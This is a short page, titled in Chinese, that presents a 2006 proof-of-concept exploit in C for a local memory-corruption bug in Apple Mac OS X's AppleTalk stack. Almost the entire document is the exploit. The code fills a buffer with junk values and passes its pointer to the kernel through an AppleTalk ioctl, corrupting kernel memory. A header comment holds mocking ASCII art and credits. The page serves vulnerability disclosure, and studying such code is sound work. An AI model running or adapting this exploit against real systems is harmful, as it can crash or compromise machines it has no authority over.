Apple Mac OS X AppleTalk 本地内存破坏漏洞

/* * Copyright 2006 (c) LMH <lmh@info-pull.com>. * All Rights Reserved. * ---- * * .--. .--. _____________________________________ * _..-: (X : o :-.._ / heya! me Gruber Duckie. I'm an 眉ber | * .-'' `.__.:.__.' ``-./___ proud zealot and Mac Beggar! | * .' .' `. `. \__________________________________| * : '. : : .' ; (...fear my Delusional Zealot Army !) * : :-..__ `.___.' __..-; ; * `. `. ''-------'' .' ,' * `. `. .' .' * `._ `-._ _.-' _.' kudos to ilja, kevin, hdm, johnnycsh, et al. * `-._ '"'"' _.-' proof of concept for MOKB-27-11-2006. * ``-------'' */ #include <stdlib.h> #include <unistd.h> #include <string.h> #include <stdio.h> #include <fcntl.h> #include <stdarg.h> #include <sys/param.h> #include <sys/socket.h> #include <sys/ioctl.h> #include <sys/sockio.h> typedef struct at_state { unsigned int flags; } at_state_t; /* if testing on PPC, you need to use the proper values. read netat/at_var.h */ #undef AF_APPLETALK #define AIOCGETSTATE 0x8021610b /* get AT global state */ #define AIOCREGLOCALZN 0x8021610b #define AT_ST_STARTED 0x0001 #define AF_APPLETALK 0x10 char powder[4096]; unsigned long do_semtex(char *p, size_t len) { int i; size_t longsize = sizeof(long); unsigned long *daringwussball; daringwussball = (unsigned long *)p; for (i = 0; i < len; i+=longsize) { *daringwussball++ = 0x61; } return (unsigned long)&powder; } int main(int argc, char **argv) { int fd; at_state_t global_state; unsigned long pkt; if ((fd = socket(AF_APPLETALK, SOCK_RAW, 0)) < 0) exit(1); /* check if AppleTalk stack has been started */ if (ioctl(fd, AIOCGETSTATE, &global_state) < 0) { close(fd); exit(2); } if (global_state.flags & AT_ST_STARTED) { printf("appletalk-exploit-1: 0x%08x\n", global_state); } else { printf("appletalk-exploit-1: AppleTalk isn't enabled!\n"); exit(3); } pkt = do_semtex(powder, sizeof(powder)); ioctl(fd, AIOCREGLOCALZN, pkt); close(fd); return 0; }